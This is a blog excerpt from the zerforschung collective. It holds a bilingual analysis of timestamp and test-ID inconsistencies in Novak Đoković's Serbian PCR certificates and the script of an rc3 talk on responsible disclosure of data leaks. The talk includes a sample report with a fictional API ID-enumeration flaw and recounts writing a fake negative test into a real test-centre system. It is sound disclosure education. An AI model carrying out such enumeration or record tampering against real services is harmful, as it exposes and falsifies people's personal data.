Die zeitreisenden PCR-Tests des Novak Đoković

Tue, 11 Jan 2022 16:30:00 +0100

Kommen wir nun zum Sport: Die ganze Welt spricht gerade über die Testzertifikate eines Tennisspielers.

Es geht um Novak Đoković. Der ist kürzlich nach Australien eingereist. Ohne Impfung, dafür mit zwei PCR-Testzertifikaten. Einem positiven Testergebnis vom 16. Dezember und einem negativen Testergebnis vom 22. Dezember. Er gilt demnach als Genesen.

Damit hat er eine Sondergenehmigung bekommen, um auch ungeimpft einreisen zu dürfen – die dann bei der Einreise aber als nicht ausreichend angesehen wurde. Mittlerweile hat ein Gericht jedoch entschieden, dass er erstmal einreisen darf.

In Zusammenarbeit mit dem SPIEGEL (€💸) haben wir uns die Gerichtsdokumente auch einmal angeschaut und versucht, die technischen Zusammenhänge nachzuvollziehen. 🕵️

PCR-Testergebnisse werden in Serbien über ein staatliches Testergebnisregister verwaltet. Nach dem Test bekommt man ein Testzertifikat mit einem QR-Code. Wenn man diesen scannt, kommt man zur Website des Testregisters und kann den Test validieren.

Die Website selbst beinhaltet allerdings nur einen Teil der Informationen des Papierzertifikates: Den Namen des Getesteten, das Testergebnis und eine Prüfnummer.

Es lässt sich mithilfe der Testergebnisseite also nicht überprüfen, wann jemand getestet wurde.

Weil wir uns bei zerforschung gerne URLs ansehen, haben wir das auch in diesem Fall gemacht. 🔎

Es fällt direkt ein spannendes Detail auf: In der URL steht ein Code, der mit einem Unix-Timestamp beginnt.

Unix-Timestamps sind ein Standard, um Zeitpunkte zu repräsentieren. Dabei werden die Sekunden seit dem 1.1.1970 um Mitternacht hochgezählt. Der aktuelle Zeitpunkt ist damit: 1641903476, also etwa 1,6 Milliarden Sekunden seit Beginn der “Unix-Zeitrechnung”.

Und dieser Timestamp aus dem Zertifikat (1640187792) lässt sich auch zu einem Menschen-lesbaren Zeitpunkt umrechnen; beim negativen Test vom 22. Dezember stimmen Timestamp und Datum im Testzertifikat überein.

Bei Đokovićs positivem PCR-Test, der laut Gerichtsdokument am 16. Dezember ausgewertet wurde, ist der Timestamp (1640524880) vom … 🥁 … 26. Dezember. Moment, da stimmt doch was nicht 🤔

Auf der Testergebnis-Seite findet sich auch ein “confirmation code”. Wir konnten noch weitere Tests finden und feststellen, dass der erste Teil dieses Codes eine aufsteigende Test-ID ist und ungefähr der Anzahl der zu diesem Zeitpunkt für Serbien gemeldeten PCR-Tests entspricht.

Doch bei Đokovićs positivem PCR-Testergebnis ist noch etwas komisch: Die Test-ID des positiven Tests (7371999) vom 16.12. ist größer als die des negativen Tests vom 22. Dezember (7320919). Der angeblich früher durchgeführte Test wurde also später ins System eingetragen. 🤔

Und auch wenn wir uns die von Serbien gemeldeten Test-Zahlen auf anschauen, so wurden in Zeitraum vom 16.12. bis 22.12. etwa 75.000 Tests durchgeführt – doch die Test-IDs von Đoković unterscheiden sich nur um 50.000.

Viel besser passt diese Zahl, wenn wir dem Timestamp glauben und den 26.12. als Datum des positiven Tests annehmen: Denn zwischen dem 22.12. und dem 26.12. wurden ungefähr 50.000 Tests gemeldet – also passend viele zu den vorliegenden Dokumenten.

Aber auch sonst scheint mit diesen Testergebnissen irgendwas nicht zu stimmen

For timeline completeness:

Djokovic produced a negative PCR test dated December 22nd. pic.twitter.com/Kqmey80nPw
— Ben Rothenberg (@BenRothenberg) January 10, 2022

Und damit geben wir ab ans Wetter. 🌤️

Update

Auf HackerNews wurden die Timestamps erklärt: Diese werden neu generiert, wenn man das PDF mit dem Ergebnis herunterlädt.

Das erklärt die Ungereimtheiten bei den Timestamps – allerdings nicht die bei den Test-IDs – denn diese bleiben gleich.

https://news.ycombinator.com/item?id=29894843

Und auch in diesen gibt es Ungereimtheiten. Die Test-IDs sind aufsteigend, somit sollte das Ergebnis vom 16.12. eine niedrigere Nummer haben als das vom 22.12. Allerdings ist es genau umgekehrt.

Falls euch dieser Artikel gefallen hat, könnt ihr uns gerne unterstützen.

The amazing tale of a test certificate and the Unix timestamp that traveled through time.

Tue, 11 Jan 2022 16:30:00 +0100

Now let’s move on to sports: the whole world is talking about the test certificates of a tennis player right now.

Novak Đoković is a serbian tennis player who recently entered Australia – without vaccination, but with two PCR test certificates. A positive test result from December 16th and a negative test result from December 22nd. He is therefore considered to be recovered.

With this he got a special permit to enter the country unvaccinated – but this permit was then considered insufficient when he entered the country. In the meantime, however, a court has allowed him to enter australia.

In cooperation with SPIEGEL, we took a look at the court documents and tried to understand the technical details. 🕵️

In serbia pcr test results are managed through a central test result registry. After the test, you get a test certificate with a QR code. Scanning this will take you to the test registry website where you can validate the test.

However, the website itself contains only parts of the information of the paper certificate: The name of the person tested, the test result, and a test number.

So it is not possible to check when someone was tested with the help of the test result page.

Because we like to look at URLs, we did the same in this case. 🔎

There is one exciting detail that stands out right away: There is a code in the URL that starts with a Unix timestamp.

Unix timestamps are a standard to represent points in time. It is the number of seconds since 1/1/1970 at midnight. So the current time is: 1641903476, which is about 1.6 billion seconds since the beginning of “unix time”.

The timestamp in the certificate URL (1640187792) can also be converted to a human-readable time. In the negative test of December 22nd the timestamp and the date in the test certificate match.

For Đokovićs positive PCR test, which according to the court document was evaluated on December 16, the timestamp (1640524880) is from … 🥁 … December 26. Wait, that doesn’t seem right 🤔

There is also a “confirmation code” on the test result page. We were able to find some more tests and found that the first part of this code is an ascending test ID and corresponds approximately to the number of PCR tests reported for Serbia at that time.

But something is wrong with Đoković positive PCR test result: the test ID of the positive test (7371999) from Dec. 16 is larger than that of the negative test from Dec. 22 (7320919). The test that was supposedly performed earlier was therefore entered into the system later. 🤔

And also if we look at the test numbers reported by Serbia, in period from 16/12 to 22/12 about 75,000 tests were performed - but the test IDs of Đoković differ only by 50,000.

This number fits much better if we believe the timestamp and assume 12/26 as the date of the positive test: Because between 12/22 and 12/26 about 50,000 tests were reported – thus fitting many to the documents at hand.

But there seems to be more wrong with these test results

For timeline completeness:

Djokovic produced a negative PCR test dated December 22nd. pic.twitter.com/Kqmey80nPw
— Ben Rothenberg (@BenRothenberg) January 10, 2022

And with that, we pass on to the weather. 🌤️

Update

On HackerNews someone gave a plausible explanation for the timestamps: They are regenerated when you download the PDF with the result.

This explains the inconsistencies in the timestamps – but not in the confirmation codes – because they remain the same.

https://news.ycombinator.com/item?id=29894843

And the inconsistencies also exists in them. The confirmation codes are ascending, so the result from the 16th should have a lower number than the one from 22nd. However, it is the other way around.

If you like what we do and want to support us, you can check out our support page.

To stay up to date, follow us on Twitter or subscribe to our RSS feed

Deine Software, die Sicherheitslücken und ich

Tue, 28 Dec 2021 17:45:00 +0100

“Verdammt, ich habe eine Sicherheitslücke gefunden” – das haben wir uns in diesem Jahr immer wieder gedacht. Was wir dabei gelernt haben, haben wir für einen Talk auf dem rc3 zusammengefasst; um euch zu helfen und die Frage zu beantworten: Was tun? Hier findet ihr einen Link zum Video, eine Linkliste zum Talk und das Skript.

Wir erzählen euch, was wir vor dem Melden unserer ersten Sicherheitslücke gerne gewusst hätten. Und wir beantworten Fragen wie: Was ist eigentlich Responsible Disclosure? Wie mache ich das richtig?

Außerdem wollen wir einen Blick werfen auf Fälle, in denen sich Menschen unmöglich verhalten haben. Denn dieses Jahr gab es leider auch mehrere Fälle, bei denen die schlimmsten Befürchtung eines Responsible-Disclosure-Prozesses eingetreten ist: Eine Anzeige. Allerdings nicht gegen das Unternehmen, das kriminell schlechte Software gebaut hat, sondern gegen die Finder*innen von Sicherheitslücken. Daher wollen wir auch einen Blick darauf werfen, wie Unternehmen richtig mit ihnen gemeldeten Sicherheitslücken umgehen können.

zerforschung zum Angucken

Den aufgezeichneten Talk könnt ihr euch hier anschauen:

Skript

Wer sind wir eigentlich?

Hey, wir sind pajowu und Lilith von zerforschung – Teil eines großartigen Kollektivs. Dieses Jahr gab es ja einige unschöne Momente für Finder*innen von Sicherheitslücken. Daher wollen wir uns heute mal anschauen, wie der Umgang mit Sicherheitslücken richtig funktioniert – für Finder*innen und die Organisationen, bei denen Lücken gefunden werden.

Viel Spaß – MAZ ab.

Richtig melden

Full disclosure vs. responsible disclosure

Oh wow, das sind alle Daten der Chaos Cat Community. Hey pajowu, soll ich das vertwittern?

🤷

Ok dann mach ich das!

Aufmachen, Polizei!

Stopp – so nicht! Das, was wir jetzt gesehen haben, das war “Full Disclosure”. Das bedeutet, dass jemand eine Sicherheitslücke findet und diese dann einfach vollständig veröffentlicht. Das kann euch in richtig krasse Schwierigkeiten bringen und ist vor allem gefährlich für die Menschen, deren Daten dadurch öffentlich werden.

Und es ist auch einfach nicht cool. Es gibt schon einen Grund, warum es ja auch in der Hacker*innen-Ethik heißt: Öffentliche Daten nützen, private Daten schützen. Um diesen 2. Punkt geht es uns heute.

Denn wir beschäftigen uns heute mit Responsible Disclosure. Also dem Prozess, wie ihr dem Softwarehersteller bescheid sagt, dass ihr dort eine Sicherheitslücke gefunden habt. Es spricht nix dagegen, die Lücke hinterher trotzdem zu veröffentlichen. Aber halt erst, wenn der Hersteller sie geschlossen hat und alle Risiken behoben sind.

Und wie man das richtig macht – das schauen wir uns jetzt einmal an.

Was ist ein relevantes Datenleck?

Nicht alles, was im Internet kaputt ist, ist auch direkt ein Datenleck. Trotzdem wollen wir uns heute wirklich nur um die kümmern – also genau diese eine Art von Sicherheitslücken: Wo es Datenabflüsse in Onlinediensten gibt.

Wir fokussieren uns heute auf Dienste, Apps und Webseiten, die nur von einem Hersteller betrieben werden. Also wir meinen damit keine Standardsoftware wie etwa Wordpress oder Moodle, die jeder auf seinen eigenen Servern installieren kann.

Wenn ihr zum Beispiel bei einer Lernkarten-App herausfindet, wie ihr die Namen aller Nutzer*innen abrufen könnt, dann ist dieser Talk genau richtig für euch.

Wenn ihr das nächste log4shell oder Heartbleed findet, dann müsst ihr ein paar Sachen anders machen, als wir euch das jetzt hier erklären. Das wäre für diesen Talk ein bisschen zu viel – aber da kann euch Linus bestimmt weiterhelfen.

Linus: Ja, das kann ich machen. Schreibt einfach an disclosure [at] ccc.de

Super, Linus kann euch weiterhelfen.

Linus: Das habe ich doch gerade gesagt?!

Ja genau.

Also, wieder zurück zu unserem Thema: Die Datenlücken. Bevor ihr in irgendeine Richtung losrennt, wäre es gut, wenn ihr euch zuallererst überlegt: Wie schlimm ist eigentlich die Lücke. Davon hängt dann nämlich ab, was ihr tun solltet – und wie schnell. Es ist total klar: Jede Sicherheitslücke muss gemeldet und behoben werden. Aber genauso klar ist ja auch: Nicht alle Sicherheitslücken sind gleich schlimm.

Wir schauen uns mal an, wie man das ein bisschen besser einschätzen kann: Dabei gehts vor allem darum, was das für eine Art Lücke ist, wie viele Menschen betroffen sind und um welche Daten es geht.

Zuerst: was für eine Art von Lücke ist es? Könnt ihr die Daten lesen, verändern oder sogar löschen? In unserem Beispiel geht nur das erste:

Das ist schon schlimm genug, denn wir können eine Liste aller Namen, Adressen und keine Ahnung was herunter laden.

Wir können die Liste aber nicht verändern, und zum Beispiel allen den Vornamen pajowu geben.

Außerdem können wir die Liste nicht löschen. Auch das ist wichtig – denn zur Sicherheit gehört auch, dass die Daten nicht verschwinden können.

Wenn es um persönliche Daten geht, dann sind die letzten beiden Punkte, Verändern und Löschen der Daten, auch echt ungünstig – aber es ist eigentlich schon schlimm genug, wenn die Vertraulichkeit der Daten verloren geht. Wenn also Menschen Einblicke in Daten haben, die da absolut nix verloren haben – oder anders formuliert: Datenlecks.

Davon gab es ja dieses Jahr schon genug Fälle. Wir haben zum Beispiel bei vielen Corona-Testzentren, in einigen Audio-Chat-Diensten, sogar in Schul-Apps Sicherheitslücken gefunden. Und überall konnten wir auf die Daten von vielen tausend Personen zugreifen.

Die Lücke vermessen – ein Beispiel

Mal ein Beispiel, vor einiger Zeit haben wir eine Sicherheitslücke bei einem Test-Zentren-Anbieter namens “Schnelltest Berlin” veröffentlicht. Die hatten sich so ein tolles System gebaut, bei dem man sich online für seinen Schnelltest registrieren konnte und da dann auch das Testergebnis bekam. Wir haben uns dort testen lassen und danach mal etwas genauer geschaut, wie das System eigentlich funktioniert.

Und dabei haben wir eine Schnittstelle gefunden, über die wir eine Liste aller im System registrierten Personen abrufen konnten – und über eine weitere Schnittstelle sogar deren Testergebnis.

Das waren insgemant fast 700.000 Tests, mit allen Daten: Name, Adresse, E-Mail, Telefonnummer, Personalausweisnummer und sogar das Testergebnis! 400.000 Personen waren betroffen.

Doch in dem Fall kam es sogar noch schlimmer: Wir konnten nicht nur alle Daten lesen, sondern auch selber Tests im System anlegen und deren Ergebnis speichern. Wir konnten also für beliebige Personen eintragen, sie hätten einen negativen PCR-Test gemacht – ohne, dass sie je ein Testzentrum von innen gesehen hätten.

Wir haben das mal versucht - für Robert Koch, geboren 1843. Gut, dass der Test negativ war. Mit 178 Jahren wäre so eine Corona-Infektion sicher voll gefährlich.

Damit konnten wir also fremde Daten lesen und neue Daten ins System schreiben. Und – ihr ahnt es schon – wir konnten auch Daten aus dem System löschen. Eine Katastrophe aus Sicht der IT-Sicherheit und der Gesundheit.

Wenn ihr nun wisst, was ihr mit den Daten machen könnt, geht’s weiter mit der Einschätzung, wie viele Personen betroffen sind und welche Daten dieser Personen mehr oder weniger frei rumfliegen.

Offensichtlich ist eine Lücke mit vielen Betroffenen schlimmer als eine mit wenigen. Wenn also eine große Anzahl Menschen betroffen ist, sind wir bei Alarmstufe dunkelrot.

Aber so ganz pauschal kann man das auch nicht sagen. Denn wenn es um höchstprivate Daten geht, dann kann auch schon mit wenigen Betroffenen eine sehr schwere Sicherheitslücke vorliegen. Ein paar Beispiele für solche Daten stehen schon in der Datenschutzgrundverordnung, in Artikel 9. Dazu gehören zum Beispiel Gesundheitsdaten, Daten zur sexuellen Orientierung, weltanschaulichen Überzeugung, Gewerkschaftszugehörigkeit und noch ein paar mehr.

Wenn es also auch noch besonders sensible Daten sind, dann sind wir bei Alarmstufe dunkel-dunkel-dunkelrot. Und das ist der Punkt, wo wir allerspätestens anfangen sollten, alles, was wir herausgefunden haben, aufzuschreiben.

“Es war einmal in einer Software vor langer Zeit …”

Report schreiben

Moooment! Ein Report ist doch kein Roman!

Also nochmal einen Schritt zurück: Nehmen wir an, wir haben eine relevante Sicherheitslücke gefunden und wissen durch die Kriterien von eben, wie schlimm sie ist. Und jetzt wollen wir die in einem Responsible Disclosure Verfahren melden.

Um ehrlich zu sein: Das ist uns jetzt schon sehr oft passiert, aber eine ordentliche Portion Adrenalin haben wir dabei immer noch im Blut. Ist ja auch normal: Da hat man höchstwahrscheinlich gerade Daten anderer Leute gesehen, die man nicht sehen sollte. Da geht der Puls schonmal hoch…

Deshalb das allerwichtigste ist in so einer Situation, erstmal Ruhe bewahren. Nochmal nachschauen: Habe ich da gerade wirklich Daten anderer Leute gesehen, die ich nicht sehen sollte?

“Guckt einfach nochmal nach” klingt aber auch einfacher, als es ist.

Ganz wichtig dabei: Müllt nicht in den Daten anderer Leute. Das steht schon in der Hacker*innen-Ethik. Legt euch also, wenn das geht, einen zweiten Account an oder fragt Freund*innen, ob ihr deren Account nutzen könnt.

Wenn ihr glaubt, das ihr Daten verändern oder löschen könnt, bei denen das nicht möglich sein sollte, dann versucht das logischerweise auf gar keinen Fall an den Daten anderer Leute.

Wenn dann wirklich alles so ist, wie ihr es vermutet habt, dann geht’s ans Schreiben.

Ihr dokumentiert die Lücke – und das gleich für mehrere Zielgruppen. So ein Dokument geht nämlich üblicherweise durch mehrere Hände: Zuerst kommt es zu Menschen, die nur die ersten Sätze lesen, die aber dafür verantwortlich sind, dass das Dokument bei denjenigen ankommt, die auch den Rest eures Geschreibsels verstehen können. Deswegen sollten die ersten Sätze für alle Menschen verständlich sein und die wichtigsten Fakten müssen rein. Dazu gehört:

Wie viele Menschen sind betroffen?
Welche Daten von diesen Leuten sind betroffen?

Verzichtet dabei möglichst komplett auf technische Details – dafür ist später noch genug Platz.

Wenn ihr die Lücke auch an offizielle Stellen wie das CERT-Bund oder Datenschutzbehörden meldet, ist es super sinnvoll, direkt auch zu beschreiben, um was für einen Dienst oder Produkt es geht. Das hilft den Stellen nämlich, die Lücke schneller einzuschätzen.

Zum Beispiel:
Stellen wir uns – rein fiktiv – vor, die Chaos Cat Community hat eine App veröffentlicht, über die die Mitglieder ihre Daten verwalten können. Und die hat eine Sicherheitslücke, die ihr gefunden habt. Dann könntet ihr zum Beispiel sowas schreiben:

In der Mitglieds-App der Chaos Cat Community können durch eine Sicherheitslücke die Daten aller Mitglieder abgerufen werden. Dazu gehören: Name, Adresse, Bezahlstatus und Impfstatus.

Und den Rest, den schreibt ihr dann für eine technisch halbwegs fitte Zielgruppe. Die wissen, was eine API ist und wie man die benutzt. Schreibt also technisch präzise, aber kurz und verständlich – keine Bachelorarbeit, keinen Roman, eine gute Dokumentation halt. Screenshots können hilfreich sein, das Problem präziser zu beschreiben und nachvollziehbarer zu machen.

Dabei beschreibt ihr

was genau die Sicherheitslücke ist

In unserem Beispiel könntet ihr schreiben:

Ich habe die API der Chaos Cat Community Mitglieder-App aufgerufen und herausgefunden dass ich über den API-Endpunkt /members/{id} durch das Hochzählen der Mitgliedsnummer (id) persönliche Daten aller Mitglieder abrufen kann.

ein Profil sieht dabei z.B. so aus:

{
  "first_name": "Linus",
  "last_name": "Neumann",

  "address": {
    "street": "Marienstrasse 11",
    "postal_code": "10117",
    "city": "Berlin"
  },

  "paid_until": "2022-12-31",
  "vaccinated": true
}

Die Auswirkungen – auch relativ kurz.

Für diesen Fall zum Beispiel:

Durch diese Sicherheitslücke habe ich Zugriff auf die gesammte Mitgliedsdatenbank der Chaos Cat Community. Kann also von allen Mitgliedern Name, Adresse, Geburtsdatum, Bezahlstatus und natürlich dass sie Mitglieder sind erfahren.

Das ist zum einen wichtig, damit die Gegenseite schnell verstehen kann, wie schlimm die Lücke ist. Zum anderen hilft es den Aufsichtsbehörden einzuschätzen, ob sie gegen das Unternehmen vorgehen müssen.

Danach geht es darum, wie man die Lücke nachvollziehen kann.

Beschreibt das in ein paar Sätzen. Wenn ihr ein kurzes Skript habt, das das tut, könnt ihr das da auch einfügen. Sonst beschreibt in klaren Schritten, was man tun muss. Zum Beispiel:

Mitglied der Chaos Cat Community werden

In der App anmelden, danach den Login-Code merken

https://geheim.katzen.ccc/mitglieder/1337?code={LOGIN_CODE} aufrufen

Das Profil von Katzi McCatface ist zu sehen

und manchmal kann man auch noch ganz gut Tipps geben, wie die Lücke geschlossen werden kann.

Wenn ihr da was habt, dann schreibt auch das in den Report rein. Aber das muss auch nicht sein. Das ist schließlich Aufgabe der Unternehmen und nicht eure.

Nachdem ihr alle Infos für euren Report zusammen habt, muss das Unternehmen davon erfahren. Dafür gibts mehrere Möglichkeiten.

CEO: Hack, Hack, Hack & Hack – Hase – Wir bauen die Bänke für ihre Daten. Wie kann ich ihnen helfen?

pajowu: Hier ist pajowu von Zerforschung, wissen sie, warum ich anrufe?

CEO: Möchten sie eine Bestellung aufgeben oder haben sie eine Reklamation?

pajowu: In ihrem CRM ist durch eine CSRF mit Missing Authentication Full Access auf die PPI ihrer Customers möglich.

CEO: Wir haben MDF, HDF, Multiplex und Vollholz. Was anderes haben wir nicht.

pajowu: Da haben sie mich falsch verstanden. Ich habe eine Sicherheitslücke bei ihnen gefunden, durch die ich die Daten all ihrer Kund*innen abrufen kann. Haben Sie 5 Minuten Zeit für mich?

CEO: Das ist schlecht, ja, was machen wir jetzt?

pajowu: Ich wollte mit ihnen kurz besprechen wie ich ihnen das am besten melde, damit es möglichst schnell behoben wird.

CEO: Das hat jemand für uns gebaut. Wenn sie dran bleiben kann ich ihnen den Kontakt raussuchen den sie anrufen können.

pajowu: Ja, das ist perfekt!

CEO: Super, dankeschön. Bis gleich!

Report goes brrrr – wie eure Meldung ankommt

In den meisten Situationen ist es wohl am einfachsten, über das Schwachstellenformular vom BSI zu gehen – das geht auch anonym. Das findet ihr unter https://www.bsi.bund.de/Schwachstellenmeldung oder https://www.bsi.bund.de/dok/465986 .

Wenn ihr das ausfüllt, schickt ihr die Schwachstellenmeldung direkt an das CERT-Bund – das Computer Emergency Response Team des Bundes. Das ist ein Team beim Bundesamt für Sicherheit in der Informationstechnik. Deren Haupt-Job ist, dafür zu sorgen, dass die Infrastuktur der Bundesverwaltung sicher ist – also, dass zum Beispiel niemand den Bundestag hackt. Daher sind sie auch Ansprechpartner*in für Leute wie euch, wenn ihr Sicherheitsprobleme in der Infrastuktur des Bundes findet.

Aber nebenbei kümmern die sich auch darum, zwischen Sicherheitsforscher*innen und Unternehmen zu vermitteln. Also euren Report entgegenzunehmen, in der Regel innerhalb weniger Stunden zu prüfen und dann dem betroffenen Unternehmen Bescheid zu sagen.

Das macht es für euch ein bisschen einfacher:

Ihr müsst keinen direkten Kontakt mit dem Unternehmen haben, außer ihr wollt das natürlich.
Wenn das BSI dem Unternehmen schreibt, kümmern die sich oft ziemlich schnell darum, die Sicherheitslücken zu schließen, denn so ein Bundesadler auf dem Briefkopf macht schon einigen Eindruck.

Ansonsten haben die auch rechtliche Möglichkeiten, können zum Beispiel eine Produktwarnung aussprechen. Damit warnen sie dann öffentlich vor der Software eines Herstellers – und das wollen die auf keinen Fall. Das kam aber erst drei mal vor. Damals wurden Android-Handys verkauft, die bereits mit Schadsoftware ausgeliefert wurden.

Aber immer im Hinterkopf haben: Das BSI ist eine Sicherheitsbehörde, wie Polizei und Geheimdienste, und dem Innenministerium nachgeordnet. Das CERT-Bund arbeitet zwar anders als Polizei und Geheimdienste, und aus unserer Perspektive ziemlich unabhängig. Aber überlegt euch immer, was ihr denen erzählt und meldet – eine Lücke, die sich zum Beispiel für einen Staatstrojaner eignet, wie das nächste Heartbleed oder log4shell – würden wir denen eher nicht melden.

Damit das in Zukunft nicht mehr nötig ist, fordern wir: Das BSI muss eine unabhängige Behörde werden, der Hacker*innen-Paragraph abgeschafft – und Frontex auch.

Linus: Ja, das fordern wir schon Lange

Dinge, die ihr ganz unbedingt nicht tun solltet

Soweit so gut. Es gibt aber auch einige Dinge, die ihr beachten solltet.

direkt alles erzählen was ihr wisst – kein Wissen zurückhalten.
keine Forderungen stellen. Keine Frage nach Geld, T-Shirts, oder Geschenken – gar nichts.

Andersrum müsst ihr aber auch aufpassen, dass keine Forderungen an euch gestellt werden.

Zum Beispiel Geheimhaltungsvereinbarungen, die sind häufig Bedingungen bei Bugbountys. Damit geht ihr gerne mal einen Knebelvertrag ein, der euch daran hindern soll, über die Sicherheitslücke zu sprechen oder noch einmal das System zu untersuchen.

Also: Keine Forderungen stellen und keinen Forderungen entsprechen – erst recht keinen Geheimhaltungsvereinbarungen, sogenannten NDAs!

Auch wir machen Fehler

Wir haben diesen Fehler auch mal gemacht und ärgern uns darüber bis heute. Damals hatten wir noch keine Erfahrung und haben eine Sicherheitslücke über das offizielle Bugbounty-Programm des Herstellers gemeldet. Was wir nicht richtig bedacht hatten: Dieses Programm enthielt eine Verschwiegenheitsklausel, sodass wir nichts darüber erzählen oder schreiben dürfen, das nicht vorher vom Hersteller freigegeben wurde.

Genau das ist, was die Hersteller mit solchen Abmachungen erreichen wollen – das Narrativ kontrollieren und euch daran hindern, frei über die Schwachstelle zu sprechen.

Und das ist ein Problem, weil wir auch als Gesellschaft über Sicherheitsprobleme in Software reden sollten. Denn nur so können wir auch über neue gesellschaftliche Maßnahmen sprechen, um diese zu vermeiden.

Versucht auch nicht, dem Unternehmen, dem ihr eine Sicherheitslücke gemeldet habt, danach eure Beratungstätigkeiten zu verkaufen. Geht darauf auch nicht ein, wenn das Unternehmen danach fragt. Das Risiko ist zu groß, dass sie das später gegen euch verwenden.

Wenn ihr euch unsicher seid, ob euer Report, so wie er ist, gut ist oder ihr euch irgendwie unsicher fühlt, dann redet lieber nochmal mit jemandem mit mehr Erfahrung darüber.

Das kann z.B. Linus machen.

Linus: ja, das kann ich machen. Schreibt einfach an disclosure [at] ccc.de

Ja, Linus kann das. Und das ist auch nichts, wofür man sich schämen sollte. Wir haben das auch schon ganz oft gemacht.
Und statt Linus könnt ihr auch uns fragen: hallo@zerforschung.org. Wir machen das auch gerne.

Linus: Ja, zerforschung kann das auch machen, dann muss ich das nicht alles machen! Die machen das bestimmt auch sehr gerne.

Hey, das hab ich gerade schon gesagt.

Ihr solltet außerdem eine Sicherheitslücke zügig reporten. Das heißt jetzt nicht, dass ihr es überstürzen müsst. Aber ihr solltet z.B. nicht eine Lücke finden, sie testweise ausnutzen und dann wochenlang keinen Report schreiben. Denn wenn das Unternehmen die Lücke in der Zwischenzeit von sich aus findet und dann in den Logs sieht, dass ihr diese ausgenutzt und nicht zeitnah Bescheid gesagt habt, dann wird euch das oft erstmal als böswillig ausgelegt. Da wieder rauszukommen und seine gute Absicht zu beweisen, ist super kompliziert – also meldet die Lücke von euch aus, sobald ihr alles einmal gut durchdacht und formuliert habt.

Seid offen und seid gut

Das heißt übrigens auch: Schreibt alles in den Report, was ihr wisst! Wenn ihr dabei nämlich Infos zurückhaltet, dann kann das auch schnell so aussehen, als würdet ihr das absichtlich machen. Was eine richtige Scheiß-Idee ist, ist dann Geld zu verlangen, um alles zu erzählen. Und wir wissen ja: erpresserisch wirken kann böse enden. Also macht es nicht.

Was auch sowohl bei Unternehmen wie auch Behörden nicht gut ankommt ist, wenn ihr automatisierte Reports mit eurem Schwachstellenscanner generiert und diese dann direkt so verschickt. Nicht falsch verstehen – auch solche Scanner können wichtige Hinweise liefern, aber damit steht ihr erst am Anfang – also springt zurück an den Beginn des Vortrags und fangt an, die Lücke zu bewerten.

Das alles klingt jetzt vielleicht nach viel Spaß – und das ist es auch. Aber es ist wichtig, vor jedem Schritt gründlich nachzudenken, denn es kann auch viel schiefgehen.

Vorsicht Hackerparagraph

Wenn ihr eine Lücke gefunden habt und sie meldet, dann sagt ihr damit implizit auch, dass ihr die auch ausgenutzt habt. Das geht kaum anders, aber in Deutschland könnte das eine Straftat sein – nach dem sogenannten Hacker*innen-Paragraphen, 202 StGB. Der verbietet es, sich Zugriff auf besonders geschützte Daten zu verschaffen. Klingt erstmal sinnvoll, aber der entsprechende Paragraph ist absolut unklar und wird dadurch auch gefährlich für Menschen, die nichts Böses im Schilde führen. Selbst die CDU, die dieses Gesetz eingeführt hat, versteht diesen Paragraphen anscheinend nicht richtig – und hat Lilith neulich angezeigt, nachdem sie eine Sicherheitslücke in der CDU-App gefunden und gemeldet hat. Die Staatanwaltschaft hat dann aber gesagt, dass die Daten so schlecht geschützt waren, dass es nicht strafbar war, darauf zuzugreifen.

Sicherheitsforscher*innen anzuzeigen ist aber trotzdem eine extrem schlechte Idee und nur wirklich sehr … schwierige Menschen versuchen das. Von denen haben wir zum Glück bisher wenige kennengelernt, aber es gibt sie. Daher hoffen wir sehr, dass dieser Paragraph bald abgeschafft wird. Damit sind wir übrigens nicht die einzigen, das haben neulich auch ganz viele IT-Sicherheitsforscher*innen in einem offenen Brief gefordert.

Überlegt euch also gut, ob ihr eure Identität herausgeben möchtet. Melden geht ja auch ohne euren richtigen Namen. Und denkt dran: Im Internet seid ihr in der Regel nicht anonym unterwegs. Schützt euch am besten von Anfang an – denn wenn ihr etwas gefunden habt, dann wurde eure IP schon irgendwo mitgeloggt und es ist zu spät, sich jetzt noch um Anonymität zu kümmern. Dazu haben Linus und Thorsten schon einen sehr guten Talk mit dem Titel “Du kannst alles hacken – du darft dich nur nicht erwischen lassen” gehalten.

Linus: Oh, da habe ich zusammen mit Thorsten einen Vortrag drüber gehalten mit dem Titel “Du kannst alles hacken – du darft dich nur nicht erwischen lassen”

Ja, genau. Dazu hat Linus zusammen mit Thorsten schon einen sehr guten Talk mit dem Titel …

Linus, unterbricht: Das habe ich doch gerade gesagt.

Und wenn ihr mit dem Unternehmen kommuniziert, solltet ihr ebenfalls sehr vorsichtig sein. Haltet keine relevanten Informationen zurück, aber passt auch auf, euch nicht unnötig zu belasten.

Erwartet nicht, dass das Unternehmen euch dankbar ist. Gerade zu Beginn sind die Unternehmen oft erstmal im Schock und wissen nicht so recht, wie ihnen geschieht. Dabei dürfen sie euch nicht drohen, anzeigen oder ähnliches – aber vielleicht sind sie erstmal ein bisschen pampig.

Und wie bereits gesagt – seid extrem vorsichtig, auf keinen Fall irgendetwas zu tun, was als Drohung oder Erpressung wahrgenommen wird.

Generell empfehlen wir, eure Wohnung auch stets in einem durchsuchungsbereiten Zustand zu halten. Es ist super scheiße, dass das nötig ist, aber gerade ist es so – und manchmal kommen Bullen ja auch aus anderen Gründen vorbei.

Hierzu empfehlen wir den Talk “Sie haben das recht zu schweigen” von Udo Vetter. Den findet ihr zum Beispiel auf media.ccc.de und dort wird ausführlich erklärt, wie ihr euch am besten schützt.

Kümmert euch um euch selbst

Aber wo wir gerade drüber sprechen, sich selbst zu schützen – das gilt nicht nur für eure Technik. Passt auf euch auf! Aber das ist leichter gesagt als getan. Denn wenn man dann tatsächlich eine Sicherheitslücke gefunden hat und all diese Schritte anstehen, dann kann es stressig werden: So eine Meldung kann viel Zeit, Nerven und auch eine Menge Schlaf kosten.

Deshalb kümmert euch auch um eure Gesundheit – körperlich und geistig. Am besten sucht ihr euch Verbündete – gute Freund*innen, Menschen, mit denen ihr reden könnt, denen ihr vertraut und die euch auch mal sagen, dass jetzt mal Schluss ist mit der Hackerei und Zeit für einen Ausflug, zum Beispiel zu einem hübschen Zug. Gegenseitig aufeinander aufpassen geht nämlich meistens einfacher als auf sich selbst. Und es tut einfach gut.

Für uns ist zerforschung genau das: eine krasse Herde. Und zusammen haben wir es geschafft, dieses Jahr viel mehr zu erreichen, als jede*r von uns einzeln erreicht hätte. Und wir hatten auch noch richtig viel Spaß dabei. Außerdem haben wir die Pandemie (bis jetzt) ein bisschen besser ausgehalten.

